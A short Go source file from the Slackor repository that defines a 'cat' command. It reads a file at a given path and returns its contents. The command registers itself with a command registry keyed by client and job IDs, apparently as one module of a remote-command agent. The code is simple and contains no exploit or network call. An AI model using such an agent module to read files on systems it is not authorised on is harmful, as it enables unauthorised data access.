github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/common/cat.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"io/ioutil"
     6  	"strings"
     7  
     8  	"github.com/n00py/Slackor/pkg/command"
     9  )
    10  
    11  // Cat prints the contents of the file
    12  type Cat struct{}
    13  
    14  // Name is the name of the command
    15  func (c Cat) Name() string {
    16  	return "cat"
    17  }
    18  
    19  // Run prints the contents of the file
    20  func (c Cat) Run(clientID string, jobID string, args []string) (string, error) {
    21  	if len(args) != 1 {
    22  		return "", errors.New("cat takes 1 argument")
    23  	}
    24  	path := strings.Replace(args[0], "\"", "", -1)
    25  	content, err := ioutil.ReadFile(path)
    26  	if err != nil {
    27  		return "", err
    28  	}
    29  	return string(content), nil
    30  }
    31  
    32  func init() {
    33  	command.RegisterCommand(Cat{})
    34  }